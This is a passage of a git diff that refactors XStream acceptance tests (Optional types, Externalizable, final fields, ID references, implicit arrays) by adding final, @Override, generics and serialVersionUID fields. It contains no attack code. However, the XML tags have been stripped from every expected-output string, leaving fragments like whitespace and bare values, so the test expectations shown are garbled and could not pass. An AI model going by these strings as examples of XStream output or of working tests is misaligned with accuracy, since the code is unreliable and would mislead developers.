} + + public void testOptionalWithOldFormat() { + assertEquals(Optional.of("test"), xstream.fromXML("" // + + "\n" // + + " test\n" // + + "")); + } + + public void testEmptyOptionalDouble() { + final OptionalDouble optional = OptionalDouble.empty(); + assertBothWays(optional, ""); + } + + public void testEmptyOptionalDoubleWithOldFormat() { + assertEquals(OptionalDouble.empty(), xstream.fromXML("" // + + "\n" // + + " false\n" // + + " NaN\n" // + + "")); + } + + public void testOptionalDouble() { + final OptionalDouble optional = OptionalDouble.of(1.8); + assertBothWays(optional, "1.8"); + } + + public void testOptionalDoubleIsImmutable() { + final OptionalDouble[] array = new OptionalDouble[3]; + array[0] = array[2] = OptionalDouble.of(1.8); + array[1] = OptionalDouble.empty(); + assertBothWays(array, "" // + + "\n" // + + " 1.8\n" // + + " \n" // + + " 1.8\n" // + + ""); + } + + public void testOptionalDoubleWithOldFormat() { + assertEquals(OptionalDouble.of(1.8), xstream.fromXML("" // + + "\n" // + + " true\n" // + + " 1.8\n" // + + "")); + } + + public void testEmptyOptionalInt() { + final OptionalInt optional = OptionalInt.empty(); + assertBothWays(optional, ""); + } + + public void testEmptyOptionalIntWithOldFormat() { + assertEquals(OptionalInt.empty(), xstream.fromXML("" // + + "\n" // + + " false\n" // + + " 0\n" // + + "")); + } + + public void testOptionalInt() { + final OptionalInt optional = OptionalInt.of(42); + assertBothWays(optional, "42"); + } + + public void testOptionalIntIsImmutable() { + final OptionalInt[] array = new OptionalInt[3]; + array[0] = array[2] = OptionalInt.of(42); + array[1] = OptionalInt.empty(); + assertBothWays(array, "" // + + "\n" // + + " 42\n" // + + " \n" // + + " 42\n" // + + ""); + } + + public void testOptionalIntWithOldFormat() { + assertEquals(OptionalInt.of(42), xstream.fromXML("" // + + "\n" // + + " true\n" // + + " 42\n" // + + "")); + } + + public void testEmptyOptionalLong() { + final OptionalLong optional = OptionalLong.empty(); + assertBothWays(optional, ""); + } + + public void testEmptyOptionalLongWithOldFormat() { + assertEquals(OptionalLong.empty(), xstream.fromXML("" // + + "\n" // + + " false\n" // + + " 0\n" // + + "")); + } + + public void testOptionalLong() { + final OptionalLong optional = OptionalLong.of(2344556678888786L); + assertBothWays(optional, "2344556678888786"); + } + + public void testOptionalLongIsImmutable() { + final OptionalLong[] array = new OptionalLong[3]; + array[0] = array[2] = OptionalLong.of(2344556678888786L); + array[1] = OptionalLong.empty(); + assertBothWays(array, "" // + + "\n" // + + " 2344556678888786\n" // + + " \n" // + + " 2344556678888786\n" // + + ""); + } + + public void testOptionalLongWithOldFormat() { + assertEquals(OptionalLong.of(2344556678888786L), xstream.fromXML("" // + + "\n" // + + " true\n" // + + " 2344556678888786\n" // + + "")); + } + } diff --git a/xstream/src/test/com/thoughtworks/acceptance/ExternalizableTest.java b/xstream/src/test/com/thoughtworks/acceptance/ExternalizableTest.java index f1e61474e..d69db8d30 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ExternalizableTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ExternalizableTest.java @@ -1,39 +1,40 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 24. August 2004 by Joe Walnes */ package com.thoughtworks.acceptance; -import com.thoughtworks.acceptance.objects.OwnerOfExternalizable; -import com.thoughtworks.acceptance.objects.SomethingExternalizable; -import com.thoughtworks.acceptance.objects.StandardObject; - import java.io.Externalizable; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectOutput; +import com.thoughtworks.acceptance.objects.OwnerOfExternalizable; +import com.thoughtworks.acceptance.objects.SomethingExternalizable; +import com.thoughtworks.acceptance.objects.StandardObject; + + public class ExternalizableTest extends AbstractAcceptanceTest { public void testExternalizable() { xstream.alias("something", SomethingExternalizable.class); - - SomethingExternalizable in = new SomethingExternalizable("Joe", "Walnes"); - String expected = "" - + "\n" - + " 3\n" - + " JoeWalnes\n" - + " \n" - + " XStream\n" - + ""; + final SomethingExternalizable in = new SomethingExternalizable("Joe", "Walnes"); + + final String expected = "" + + "\n" + + " 3\n" + + " JoeWalnes\n" + + " \n" + + " XStream\n" + + ""; assertBothWays(in, expected); } @@ -42,77 +43,81 @@ public void testExternalizableAsFieldOfAnotherObject() { xstream.alias("something", SomethingExternalizable.class); xstream.alias("owner", OwnerOfExternalizable.class); - OwnerOfExternalizable in = new OwnerOfExternalizable(); + final OwnerOfExternalizable in = new OwnerOfExternalizable(); in.target = new SomethingExternalizable("Joe", "Walnes"); - String expected = "" - + "\n" - + " \n" - + " 3\n" - + " JoeWalnes\n" - + " \n" - + " XStream\n" - + " \n" - + ""; + final String expected = "" + + "\n" + + " \n" + + " 3\n" + + " JoeWalnes\n" + + " \n" + + " XStream\n" + + " \n" + + ""; assertBothWays(in, expected); } - + public static class CircularExternalizable implements Externalizable { private String name; private CircularExternalizable parent; private CircularExternalizable child; - + public CircularExternalizable() { } - - public CircularExternalizable(String name) { + + public CircularExternalizable(final String name) { this.name = name; } - - public void setParent(CircularExternalizable parent) { + + public void setParent(final CircularExternalizable parent) { this.parent = parent; if (parent != null) { parent.child = this; } } - - public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { + + @Override + public void readExternal(final ObjectInput in) throws IOException, ClassNotFoundException { name = (String)in.readObject(); parent = (CircularExternalizable)in.readObject(); child = (CircularExternalizable)in.readObject(); } - public void writeExternal(ObjectOutput out) throws IOException { + @Override + public void writeExternal(final ObjectOutput out) throws IOException { out.writeObject(name); out.writeObject(parent); out.writeObject(child); } - // StandardObject uses EqualsBuilder.reflectionEquals of commons-lang, + // StandardObject uses EqualsBuilder.reflectionEquals of commons-lang, // that does not handle circular dependencies - public boolean equals(Object obj) { + @Override + public boolean equals(final Object obj) { return obj instanceof CircularExternalizable && name.equals(obj.toString()); } + @Override public int hashCode() { - return name.hashCode()+1; + return name.hashCode() + 1; } + @Override public String toString() { return name; } - } public void testCircularExternalizable() { xstream.alias("elem", CircularExternalizable.class); - - CircularExternalizable parent = new CircularExternalizable("parent"); - CircularExternalizable child = new CircularExternalizable("child"); + + final CircularExternalizable parent = new CircularExternalizable("parent"); + final CircularExternalizable child = new CircularExternalizable("child"); child.setParent(parent); - - String expected = "" + + final String expected = "" + "\n" + " parent\n" + " \n" @@ -125,68 +130,71 @@ public void testCircularExternalizable() { assertBothWays(parent, expected); } - + public static class OtherOwner extends StandardObject { + private static final long serialVersionUID = 201008L; Object member1; Object member2; - public OtherOwner(int i) { + + public OtherOwner(final int i) { member1 = new InnerExternalizable1(i); member2 = new InnerExternalizable2(i); } - + private static class InnerExternalizable1 extends StandardObject implements Externalizable { private int i; public InnerExternalizable1() { } - InnerExternalizable1(int i) { + InnerExternalizable1(final int i) { this.i = i; } - - public void writeExternal(ObjectOutput out) throws IOException { + + @Override + public void writeExternal(final ObjectOutput out) throws IOException { out.writeInt(i); } - public void readExternal(ObjectInput in) - throws IOException { - this.i = in.readInt(); + @Override + public void readExternal(final ObjectInput in) throws IOException { + i = in.readInt(); } }; - + private static class InnerExternalizable2 extends StandardObject implements Externalizable { private int i; + @SuppressWarnings("unused") private InnerExternalizable2() { } - InnerExternalizable2(int i) { + InnerExternalizable2(final int i) { this.i = i; } - - public void writeExternal(ObjectOutput out) throws IOException { + + @Override + public void writeExternal(final ObjectOutput out) throws IOException { out.writeInt(i); } - public void readExternal(ObjectInput in) - throws IOException { - this.i = in.readInt(); + @Override + public void readExternal(final ObjectInput in) throws IOException { + i = in.readInt(); } }; } - + public void testWithPrivateDefaultConstructor() { - String name1 = OtherOwner.class.getDeclaredClasses()[0].getName(); - String name2 = OtherOwner.class.getDeclaredClasses()[1].getName(); + final String name1 = OtherOwner.class.getDeclaredClasses()[0].getName(); + final String name2 = OtherOwner.class.getDeclaredClasses()[1].getName(); xstream.alias("owner", OtherOwner.class); - xstream.alias("inner" + name1.charAt(name1.length() - 1), - OtherOwner.class.getDeclaredClasses()[0]); - xstream.alias("inner" + name2.charAt(name2.length() - 1), - OtherOwner.class.getDeclaredClasses()[1]); + xstream.alias("inner" + name1.charAt(name1.length() - 1), OtherOwner.class.getDeclaredClasses()[0]); + xstream.alias("inner" + name2.charAt(name2.length() - 1), OtherOwner.class.getDeclaredClasses()[1]); - OtherOwner owner = new OtherOwner(42); + final OtherOwner owner = new OtherOwner(42); - String expected = "" + final String expected = "" + "\n" + " \n" + " 42\n" diff --git a/xstream/src/test/com/thoughtworks/acceptance/FinalFieldsTest.java b/xstream/src/test/com/thoughtworks/acceptance/FinalFieldsTest.java index a86c22d65..5a12bb8a1 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/FinalFieldsTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/FinalFieldsTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2013, 2014, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2013, 2014, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 09. May 2004 by Joe Walnes */ package com.thoughtworks.acceptance; @@ -17,9 +17,11 @@ import com.thoughtworks.xstream.converters.reflection.PureJavaReflectionProvider; import com.thoughtworks.xstream.core.JVM; + public class FinalFieldsTest extends AbstractAcceptanceTest { static class ThingWithFinalField extends StandardObject { + private static final long serialVersionUID = 200405L; final int number = 9; } @@ -28,10 +30,10 @@ public void testSerializeFinalFieldsIfSupported() { setupSecurity(xstream); xstream.alias("thing", ThingWithFinalField.class); - assertBothWays(new ThingWithFinalField(), - "\n" + - " 9\n" + - ""); + assertBothWays(new ThingWithFinalField(), ""// + + "\n" + + " 9\n" + + ""); } public void testExceptionThrownUponSerializationIfNotSupport() { @@ -40,9 +42,9 @@ public void testExceptionThrownUponSerializationIfNotSupport() { try { xstream.toXML(new ThingWithFinalField()); - } catch (ObjectAccessException expectedException) { - assertEquals("Invalid final field " + ThingWithFinalField.class.getName() + ".number", - expectedException.getMessage()); + } catch (final ObjectAccessException expectedException) { + assertEquals("Invalid final field " + ThingWithFinalField.class.getName() + ".number", expectedException + .getMessage()); } } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/IDReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/IDReferenceTest.java index 11d0b1d6d..685e64bd3 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/IDReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/IDReferenceTest.java @@ -1,28 +1,30 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible by merging IDCircularReferenceTest, * IDDuplicateReferenceTest, IDNestedCircularReferenceTest and * IDReplacedReferenceTest. */ package com.thoughtworks.acceptance; +import java.util.ArrayList; +import java.util.List; + import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.mapper.Mapper; -import java.util.ArrayList; -import java.util.List; public class IDReferenceTest extends AbstractReferenceTest { // tests inherited from superclass + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.ID_REFERENCES); @@ -30,61 +32,62 @@ protected void setUp() throws Exception { public void testXmlContainsReferenceIds() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String expected = "" + - "\n" + - " \n" + - " hello\n" + - " \n" + - " \n" + - " \n" + - " hello\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " hello\n" + + " \n" + + " \n" + + " \n" + + " hello\n" + + " \n" + + ""; assertEquals(expected, xstream.toXML(list)); } public void testCircularReferenceXml() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + - "\n" + - " bob\n" + - " \n" + - " jane\n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " bob\n" + + " \n" + + " jane\n" + + " \n" + + " \n" + + ""; assertEquals(expected, xstream.toXML(bob)); } public void testCircularReferenceToSelfXml() { - Person bob = new Person("bob"); + final Person bob = new Person("bob"); bob.likes = bob; - String expected = "" + - "\n" + - " bob\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " bob\n" + + " \n" + + ""; assertEquals(expected, xstream.toXML(bob)); } + @Override public void testReplacedReference() { - String expectedXml = "" + final String expectedXml = "" + "\n" + " parent\n" + " \n" @@ -95,18 +98,18 @@ public void testReplacedReference() { + " \n" + " \n" + ""; - + replacedReference(expectedXml); } - + public void testCanReferenceDeserializedNullValues() { xstream.alias("test", Mapper.Null.class); - String xml = "" - + "\n" - + " \n" - + " \n" - + ""; - List list = (List)xstream.fromXML(xml); + final String xml = "" + + "\n" + + " \n" + + " \n" + + ""; + final List list = xstream.fromXML(xml); assertEquals(2, list.size()); assertNull(list.get(0)); assertNull(list.get(1)); diff --git a/xstream/src/test/com/thoughtworks/acceptance/ImplicitArrayTest.java b/xstream/src/test/com/thoughtworks/acceptance/ImplicitArrayTest.java index 40af3e282..598b3fb59 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/ImplicitArrayTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/ImplicitArrayTest.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2011, 2012, 2013, 2014, 2015, 2017 XStream Committers. + * Copyright (C) 2011, 2012, 2013, 2014, 2015, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -17,11 +17,13 @@ import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.InitializationException; + /** * @author Jörg Schaible */ public class ImplicitArrayTest extends AbstractAcceptanceTest { + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("farm", Farm.class); @@ -35,122 +37,107 @@ protected void setUp() throws Exception { } public static class Farm extends StandardObject { + private static final long serialVersionUID = 201107L; + @SuppressWarnings("unused") private transient int idx; Animal[] animals; } - public static class Animal extends StandardObject implements Comparable { + public static class Animal extends StandardObject { + private static final long serialVersionUID = 201107L; String name; - public Animal(String name) { + public Animal(final String name) { this.name = name; } - - public int compareTo(Object o) { - return name.compareTo(((Animal)o).name); - } } - + public void testWithDirectType() { - Farm farm = new Farm(); - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - ""; + final Farm farm = new Farm(); + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); assertBothWays(farm, expected); } - + public void testWithReferencedImplicitElement() { - List list = new ArrayList(); - Farm farm = new Farm(); - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; + final List list = new ArrayList<>(); + final Farm farm = new Farm(); + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; list.add(farm.animals[0]); list.add(farm); list.add(farm.animals[1]); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); assertBothWays(list, expected); } public static class MegaFarm extends Farm { + private static final long serialVersionUID = 201107L; String separator = "---"; String[] names; } public void testInheritsImplicitArrayFromSuperclass() { - Farm farm = new MegaFarm(); // subclass - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - ""; + final Farm farm = new MegaFarm(); // subclass + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + ""; xstream.addImplicitCollection(Farm.class, "animals"); assertBothWays(farm, expected); } public void testSupportsInheritedAndDirectDeclaredImplicitArraysAtOnce() { - MegaFarm farm = new MegaFarm(); // subclass - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - farm.names = new String[] { - "McDonald", - "Ponte Rosa" - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - ""; + final MegaFarm farm = new MegaFarm(); // subclass + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + farm.names = new String[]{"McDonald", "Ponte Rosa"}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); xstream.addImplicitArray(MegaFarm.class, "names", "name"); @@ -158,28 +145,22 @@ public void testSupportsInheritedAndDirectDeclaredImplicitArraysAtOnce() { } public void testInheritedAndDirectDeclaredImplicitArraysAtOnceIsNotDeclarationSequenceDependent() { - MegaFarm farm = new MegaFarm(); // subclass - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - farm.names = new String[] { - "McDonald", - "Ponte Rosa" - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - ""; + final MegaFarm farm = new MegaFarm(); // subclass + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + farm.names = new String[]{"McDonald", "Ponte Rosa"}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + ""; xstream.addImplicitArray(MegaFarm.class, "names", "name"); xstream.addImplicitArray(Farm.class, "animals"); @@ -187,68 +168,56 @@ public void testInheritedAndDirectDeclaredImplicitArraysAtOnceIsNotDeclarationSe } public void testAllowsSubclassToOverrideImplicitCollectionInSuperclass() { - Farm farm = new MegaFarm(); // subclass - farm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - ""; + final Farm farm = new MegaFarm(); // subclass + farm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + ""; xstream.addImplicitCollection(MegaFarm.class, "animals"); assertBothWays(farm, expected); } public void testAllowDifferentImplicitArrayDefinitionsInSubclass() { - Farm farm = new Farm(); - farm.animals = new Animal[] { - new Animal("Cod"), - new Animal("Salmon") - }; - MegaFarm megaFarm = new MegaFarm(); // subclass - megaFarm.animals = new Animal[] { - new Animal("Cow"), - new Animal("Sheep") - }; - megaFarm.names = new String[] { - "McDonald", - "Ponte Rosa" - }; - - List list = new ArrayList(); + final Farm farm = new Farm(); + farm.animals = new Animal[]{new Animal("Cod"), new Animal("Salmon")}; + final MegaFarm megaFarm = new MegaFarm(); // subclass + megaFarm.animals = new Animal[]{new Animal("Cow"), new Animal("Sheep")}; + megaFarm.names = new String[]{"McDonald", "Ponte Rosa"}; + + final List list = new ArrayList<>(); list.add(farm); list.add(megaFarm); - String expected = "" + - "\n" + - " \n" + - " \n" + - " Cod\n" + - " \n" + - " \n" + - " Salmon\n" + - " \n" + - " \n" + - " \n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " ---\n" + - " McDonald\n" + - " Ponte Rosa\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Cod\n" + + " \n" + + " \n" + + " Salmon\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " ---\n" + + " McDonald\n" + + " Ponte Rosa\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals", "fish"); xstream.addImplicitArray(MegaFarm.class, "animals"); @@ -257,79 +226,71 @@ public void testAllowDifferentImplicitArrayDefinitionsInSubclass() { } public static class House extends StandardObject { + private static final long serialVersionUID = 201107L; private Room[] rooms; - private String separator = "---"; + @SuppressWarnings("unused") + private final String separator = "---"; private Person[] people; - - public List getPeople() { + + public List getPeople() { return Arrays.asList(people); } - - public List getRooms() { + + public List getRooms() { return Arrays.asList(rooms); } } public static class Room extends StandardObject { - private String name; + private static final long serialVersionUID = 201107L; + final String name; - public Room(String name) { + public Room(final String name) { this.name = name; } } public static class Person extends StandardObject { - private String name; - private String[] emailAddresses; + private static final long serialVersionUID = 201107L; + final String name; + String[] emailAddresses; - public Person(String name) { + public Person(final String name) { this.name = name; } } public void testMultipleArraysBasedOnDifferentType() { - House house = new House(); - house.rooms = new Room[] { - new Room("kitchen"), - new Room("bathroom") - }; - Person joe = new Person("joe"); - joe.emailAddresses = new String[]{ - "joe@house.org", - "joe.farmer@house.org" - }; - Person jaimie = new Person("jaimie"); + final House house = new House(); + house.rooms = new Room[]{new Room("kitchen"), new Room("bathroom")}; + final Person joe = new Person("joe"); + joe.emailAddresses = new String[]{"joe@house.org", "joe.farmer@house.org"}; + final Person jaimie = new Person("jaimie"); jaimie.emailAddresses = new String[]{ - "jaimie@house.org", - "jaimie.farmer@house.org", - "jaimie.ann.farmer@house.org" - }; - house.people = new Person[]{ - joe, - jaimie - }; - - String expected = "" - + "\n" - + " \n" - + " kitchen\n" - + " \n" - + " \n" - + " bathroom\n" - + " \n" - + " ---\n" - + " \n" - + " joe\n" - + " joe@house.org\n" - + " joe.farmer@house.org\n" - + " \n" - + " \n" - + " jaimie\n" - + " jaimie@house.org\n" - + " jaimie.farmer@house.org\n" - + " jaimie.ann.farmer@house.org\n" - + " \n" - + ""; + "jaimie@house.org", "jaimie.farmer@house.org", "jaimie.ann.farmer@house.org"}; + house.people = new Person[]{joe, jaimie}; + + final String expected = "" + + "\n" + + " \n" + + " kitchen\n" + + " \n" + + " \n" + + " bathroom\n" + + " \n" + + " ---\n" + + " \n" + + " joe\n" + + " joe@house.org\n" + + " joe.farmer@house.org\n" + + " \n" + + " \n" + + " jaimie\n" + + " jaimie@house.org\n" + + " jaimie.farmer@house.org\n" + + " jaimie.ann.farmer@house.org\n" + + " \n" + + ""; xstream.alias("room", Room.class); xstream.alias("house", House.class); @@ -338,93 +299,84 @@ public void testMultipleArraysBasedOnDifferentType() { xstream.addImplicitArray(House.class, "people"); xstream.addImplicitArray(Person.class, "emailAddresses", "email"); - House serializedHouse = (House)assertBothWays(house, expected); + final House serializedHouse = assertBothWays(house, expected); assertEquals(house.getPeople(), serializedHouse.getPeople()); assertEquals(house.getRooms(), serializedHouse.getRooms()); } public static class NumberedRoom extends Room { - private int number; + private static final long serialVersionUID = 201107L; + final int number; - public NumberedRoom(int number) { + public NumberedRoom(final int number) { super("room"); this.number = number; } } public void testArraysWithDerivedElements() { - House house = new House(); - house.rooms = new Room[] { - new Room("kitchen"), - new NumberedRoom(13) - }; - - String expected = "" - + "\n" - + " \n" - + " kitchen\n" - + " \n" - + " \n" - + " room\n" - + " \n" - + " ---\n" - + ""; + final House house = new House(); + house.rooms = new Room[]{new Room("kitchen"), new NumberedRoom(13)}; + + final String expected = "" + + "\n" + + " \n" + + " kitchen\n" + + " \n" + + " \n" + + " room\n" + + " \n" + + " ---\n" + + ""; xstream.alias("house", House.class); xstream.alias("chamber", NumberedRoom.class); xstream.addImplicitArray(House.class, "rooms", "room"); xstream.useAttributeFor(int.class); - House serializedHouse = (House)assertBothWays(house, expected); + final House serializedHouse = assertBothWays(house, expected); assertEquals(house.getRooms(), serializedHouse.getRooms()); } public static class Aquarium extends StandardObject { - private String name; - private String[] fish; + private static final long serialVersionUID = 201107L; + final String name; + String[] fish; - public Aquarium(String name) { + public Aquarium(final String name) { this.name = name; } } public void testWithExplicitItemNameMatchingTheNameOfTheFieldWithTheArray() { - Aquarium aquarium = new Aquarium("hatchery"); - aquarium.fish = new String[]{ - "salmon", - "halibut", - "snapper" - }; - - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final Aquarium aquarium = new Aquarium("hatchery"); + aquarium.fish = new String[]{"salmon", "halibut", "snapper"}; + + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.addImplicitArray(Aquarium.class, "fish", "fish"); assertBothWays(aquarium, expected); } - + public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheArray() { - Aquarium aquarium = new Aquarium("hatchery"); - aquarium.fish = new String[]{ - "salmon", - "halibut", - "snapper" - }; - - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final Aquarium aquarium = new Aquarium("hatchery"); + aquarium.fish = new String[]{"salmon", "halibut", "snapper"}; + + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.alias("fish", String.class); @@ -432,22 +384,18 @@ public void testWithImplicitNameMatchingTheNameOfTheFieldWithTheArray() { assertBothWays(aquarium, expected); } - + public void testWithAliasedItemNameMatchingTheAliasedNameOfTheFieldWithTheArray() { - Aquarium aquarium = new Aquarium("hatchery"); - aquarium.fish = new String[]{ - "salmon", - "halibut", - "snapper" - }; - - String expected = "" + - "\n" + - " hatchery\n" + - " salmon\n" + - " halibut\n" + - " snapper\n" + - ""; + final Aquarium aquarium = new Aquarium("hatchery"); + aquarium.fish = new String[]{"salmon", "halibut", "snapper"}; + + final String expected = "" + + "\n" + + " hatchery\n" + + " salmon\n" + + " halibut\n" + + " snapper\n" + + ""; xstream.alias("aquarium", Aquarium.class); xstream.aliasField("animal", Aquarium.class, "fish"); @@ -461,7 +409,7 @@ public void testCanBeDeclaredOnlyForMatchingType() { xstream.addImplicitArray(Animal.class, "name"); fail("Thrown " + InitializationException.class.getName() + " expected"); } catch (final InitializationException e) { - assertTrue(e.getMessage().indexOf("declares no collection") >= 0); + assertTrue(e.getMessage().contains("declares no collection")); } } @@ -470,58 +418,53 @@ public void testCanBeDeclaredOnlyForMatchingComponentType() { xstream.addImplicitArray(Aquarium.class, "fish", Farm.class); fail("Thrown " + InitializationException.class.getName() + " expected"); } catch (final InitializationException e) { - assertTrue(e.getMessage().indexOf("array type is not compatible") >= 0); + assertTrue(e.getMessage().contains("array type is not compatible")); } } public void testWithNullElement() { - Farm farm = new Farm(); - farm.animals = new Animal[] { - new Animal("Cow"), - null, - new Animal("Sheep") - }; - - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - ""; + final Farm farm = new Farm(); + farm.animals = new Animal[]{new Animal("Cow"), null, new Animal("Sheep")}; + + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); assertBothWays(farm, expected); } public void testWithAliasAndNullElement() { - Farm farm = new Farm(); - farm.animals = new Animal[] { - null, - new Animal("Sheep") - }; - - String expected = "" + - "\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - ""; + final Farm farm = new Farm(); + farm.animals = new Animal[]{null, new Animal("Sheep")}; + + final String expected = "" + + "\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals", "beast"); assertBothWays(farm, expected); } - + public static class Area extends Farm { + private static final long serialVersionUID = 201509L; + @SuppressWarnings("hiding") Animal[] animals; } - + public void testWithHiddenArray() { - Area area = new Area(); + final Area area = new Area(); ((Farm)area).animals = new Animal[2]; ((Farm)area).animals[0] = new Animal("Cow"); ((Farm)area).animals[1] = new Animal("Sheep"); @@ -529,29 +472,29 @@ public void testWithHiddenArray() { area.animals[0] = new Animal("Falcon"); area.animals[1] = new Animal("Sparrow"); - String expected = "" + - "\n" + - " \n" + - " Cow\n" + - " \n" + - " \n" + - " Sheep\n" + - " \n" + - " \n" + - " Falcon\n" + - " \n" + - " \n" + - " Sparrow\n" + - " \n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " Cow\n" + + " \n" + + " \n" + + " Sheep\n" + + " \n" + + " \n" + + " Falcon\n" + + " \n" + + " \n" + + " Sparrow\n" + + " \n" + + ""; xstream.addImplicitArray(Farm.class, "animals"); xstream.addImplicitArray(Area.class, "animals"); assertBothWays(area, expected); } - + public void testWithHiddenArrayAndDifferentAlias() { - Area area = new Area(); + final Area area = new Area(); ((Farm)area).animals = new Animal[2]; ((Farm)area).animals[0] = new Animal("Cow"); ((Farm)area).animals[1] = new 